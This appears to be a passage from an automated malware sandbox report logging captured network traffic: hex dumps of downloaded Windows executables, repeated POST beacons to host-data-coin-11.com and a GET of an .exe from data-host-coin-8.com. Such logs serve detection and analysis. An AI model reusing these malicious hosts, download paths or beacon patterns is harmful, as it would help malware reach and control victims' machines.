00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:41 GMTContent-Type: application/x-msdos-programContent-Length: 905216Connection: closeLast-Modified: Thu, 13 Jan 2022 15:53:07 GMTETag: "dd000-5d578aeb4049d"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8b cf 9c fb cf ae f2 a8 cf ae f2 a8 cf ae f2 a8 d1 fc 67 a8 d3 ae f2 a8 d1 fc 71 a8 49 ae f2 a8 d1 fc 76 a8 e1 ae f2 a8 e8 68 89 a8 cc ae f2 a8 cf ae f3 a8 45 ae f2 a8 d1 fc 78 a8 ce ae f2 a8 d1 fc 66 a8 ce ae f2 a8 d1 fc 63 a8 ce ae f2 a8 52 69 63 68 cf ae f2 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 cf 5b b6 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 20 01 00 00 32 0d 00 00 00 00 00 00 30 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 7c 02 00 04 00 00 e4 71 0e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 66 01 00 28 00 00 00 00 70 0d 00 20 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 31 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 1e 01 00 00 10 00 00 00 20 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 22 3f 00 00 00 30 01 00 00 40 00 00 00 24 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 fe 0b 00 00 70 01 00 00 9e 0b 00 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 dd 6e 02 00 70 0d 00 00 ce 00 00 00 02 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 14 Jan 2022 20:05:47 GMTServer: Apache/2.4.38 (Win32) PHP/7.1.26Last-Modified: Fri, 14 Jan 2022 17:15:09 GMTETag: "6ff1c7-5d58df1eec44d"Accept-Ranges: bytesContent-Length: 7336391Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 27 58 b0 38 63 39 de 6b 63 39 de 6b 63 39 de 6b 77 52 da 6a 68 39 de 6b 77 52 dd 6a 64 39 de 6b 77 52 db 6a df 39 de 6b 05 56 23 6b 67 39 de 6b 31 4c db 6a 45 39 de 6b 31 4c da 6a 72 39 de 6b 31 4c dd 6a 6a 39 de 6b 77 52 df 6a 68 39 de 6b 63 39 df 6b e4 39 de 6b d9 4c da 6a 70 39 de 6b d9 4c dc 6a 62 39 de 6b 52 69 63 68 63 39 de 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 51 ae e1 61 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1d 00 36 02 00 00 54 01 00 00 00 00 00 c8 a8 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 d0 04 00 00 04 00 00 12 0b 70 00 02 00 60 81 80 84 1e 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 18 5b 03 00 78 00 00 00 00 b0 04 00 e3 05 00 00 00 80 04 00 e8 1d 00 00 00 00 00 00 00 00 00 00 00 c0 04 00 48 07 00 00 20 39 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 39 03 00 38 01 00 00 00 00 00 00 00 00 00 00 00 50 02 00 e8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d0 35 02 00 00 10 00 00 00 36 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 98 18 01 00 00 50 02 00 00 1a 01 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 03 01 00 00 70 03 00 00 0c 00 00 00 54 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 e8 1d 00 00 00 80 04 00 00 1e 00 00 00 60 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 f4 00 00 00 00 a0 04 00 00 02 00 00 00 7e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 e3 05 00 00 00 b0 04 00 00 06 00 00 00 80 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 48 07 00 00 00 c0 04 00 00 08 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Fri, 14 Jan 2022 18:57:27 GMTAccept-Ranges: bytesETag: "9bd1193789d81:0"Server: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Fri, 14 Jan 2022 20:05:54 GMTContent-Length: 54272Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 9c 76 4c 96 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 16 00 00 00 bc 00 00 00 00 00 00 12 35 00 00 00 20 00 00 00 40 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 01 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c0 34 00 00 4f 00 00 00 00 40 00 00 5c b9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 0c 00 00 00 a4 34 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 18 15 00 00 00 20 00 00 00 16 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 5c b9 00 00 00 40 00 00 00 ba 00 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 01 00 00 02 00 00 00 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 34 00 00 00 00 00 00 48 00 00 00 02 00 05 00 8c 23 00 00 60 10 00 00 01 00 00 00 01 00 00 06 ec 33 00 00 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 01 00 3a 00 00 00 01 00 00 11 00 28 13 00 00 0a 0b 12 01 28 14 00 00 0a 28 15 00 00 0a 00 73 05 00 00 06 0a 06 6f 04 00 00 06 00 28 13 00 00 0a 0b 12 01 28 14 00 00 0a 28 15 00 00 0a 00 16 0c 2b 00 08 2a 22 02 28 16 00 00 0a 00 2a 00 1b 30 06 00 ae 00 00 00 02 00 00 11 00 d0 20 00 00 01 28 17 00 00 0a 72 01 00 00 70 17 8d 14 00 00 01 25 16 d0 22 00 00 01 28 17 00 00 0a a2 28 18 00 00 0a 14 17 8d 10 00 00 01 25 16 20 20 4e 00 00 8c 22 00 00 01 a2 6f 19 00 00 0a 26 00 20 00 0c 00 00 28 1a 00 00 0a 00 00 de 05 26 00 00 de 00 d0 26 00 00 01 28 17 00 00 0a 72 0d 00 00 70 72 35 00 00 70 72 39 00 00 70 28 1b 00 00 0a 17 8d 14 00 00 01 25 16 d0 27 00 00 01 28 17 00 00 0a a2 28 18 00 00 0a 73 1c 00 00 0a 17 8d 10 00 00 01 25 16 72 3b 00 00 70 a2 6f 19 00 00 0a 74 01 00 00 1b 0a 2b 00 06 2a 00 00 01 10 00 00 00 00 42 00 0f 51 00 05 10 00 00 01 1b 30 03 00 37 01 00 00 03 00 00 11 00 02 28 03 00 00 06 0a 06 14 fe 03 13 04 11 04 2c 0b 06 16 06 8e
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:06:00 GMTContent-Type: application/x-msdos-programContent-Length: 905216Connection: closeLast-Modified: Thu, 13 Jan 2022 15:53:07 GMTETag: "dd000-5d578aeb4049d"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8b cf 9c fb cf ae f2 a8 cf ae f2 a8 cf ae f2 a8 d1 fc 67 a8 d3 ae f2 a8 d1 fc 71 a8 49 ae f2 a8 d1 fc 76 a8 e1 ae f2 a8 e8 68 89 a8 cc ae f2 a8 cf ae f3 a8 45 ae f2 a8 d1 fc 78 a8 ce ae f2 a8 d1 fc 66 a8 ce ae f2 a8 d1 fc 63 a8 ce ae f2 a8 52 69 63 68 cf ae f2 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 cf 5b b6 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 20 01 00 00 32 0d 00 00 00 00 00 00 30 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 7c 02 00 04 00 00 e4 71 0e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 66 01 00 28 00 00 00 00 70 0d 00 20 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 31 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 1e 01 00 00 10 00 00 00 20 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 22 3f 00 00 00 30 01 00 00 40 00 00 00 24 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 fe 0b 00 00 70 01 00 00 9e 0b 00 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 dd 6e 02 00 70 0d 00 00 ce 00 00 00 02 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:06:04 GMTContent-Type: application/x-msdos-programContent-Length: 557664Connection: closeLast-Modified: Thu, 13 Jan 2022 19:20:04 GMTETag: "88260-5d57b92d7ebed"Accept-Ranges: bytesData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d6 ad 35 ab 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 24 03 00 00 2a 03 00 00 00 00 00 00 b0 06 00 00 20 00 00 00 60 03 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 30 08 00 00 04 00 00 1c 40 09 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 70 03 00 e4 01 00 00 00 80 03 00 50 29 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 69 64 61 74 61 00 00 00 60 03 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 70 64 61 74 61 00 00 00 10 00 00 00 70 03 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 50 29 03 00 00 80 03 00 30 06 03 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 61 00 00 80 01 00 00 b0 06 00 fc 78 01 00 00 0e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 14 Jan 2022 20:06:06 GMTServer: Apache/2.4.38 (Win32) PHP/7.1.26Last-Modified: Fri, 14 Jan 2022 16:06:29 GMTETag: "6ff1c1-5d58cfc604e56"Accept-Ranges: bytesContent-Length: 7336385Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 27 58 b0 38 63 39 de 6b 63 39 de 6b 63 39 de 6b 77 52 da 6a 68 39 de 6b 77 52 dd 6a 64 39 de 6b 77 52 db 6a df 39 de 6b 05 56 23 6b 67 39 de 6b 31 4c db 6a 45 39 de 6b 31 4c da 6a 72 39 de 6b 31 4c dd 6a 6a 39 de 6b 77 52 df 6a 68 39 de 6b 63 39 df 6b e4 39 de 6b d9 4c da 6a 70 39 de 6b d9 4c dc 6a 62 39 de 6b 52 69 63 68 63 39 de 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 cb 9e e1 61 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1d 00 36 02 00 00 54 01 00 00 00 00 00 c8 a8 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 d0 04 00 00 04 00 00 25 0a 70 00 02 00 60 81 80 84 1e 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 18 5b 03 00 78 00 00 00 00 b0 04 00 e3 05 00 00 00 80 04 00 e8 1d 00 00 00 00 00 00 00 00 00 00 00 c0 04 00 48 07 00 00 20 39 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 39 03 00 38 01 00 00 00 00 00 00 00 00 00 00 00 50 02 00 e8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d0 35 02 00 00 10 00 00 00 36 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 98 18 01 00 00 50 02 00 00 1a 01 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 03 01 00 00 70 03 00 00 0c 00 00 00 54 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 e8 1d 00 00 00 80 04 00 00 1e 00 00 00 60 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 f4 00 00 00 00 a0 04 00 00 02 00 00 00 7e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 e3 05 00 00 00 b0 04 00 00 06 00 00 00 80 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 48 07 00 00 00 c0 04 00 00 08 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: unknown	HTTPS traffic detected: 162.159.133.233:443 -> 192.168.2.5:49949 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49950 version: TLS 1.0

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xmmufccsxa.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 257Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ejoocwvno.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 196Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ymxxgm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 232Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vxhncf.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 206Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://csftwsmo.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 186Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fdbmpnrkfj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 297Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jxeebf.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 149Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kxkku.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 246Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/9030_1641816409_7037.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fdcyfq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 266Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lujat.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 249Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ttjdaam.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 154Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uqfbvly.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 194Host: host-data-coin-11.com
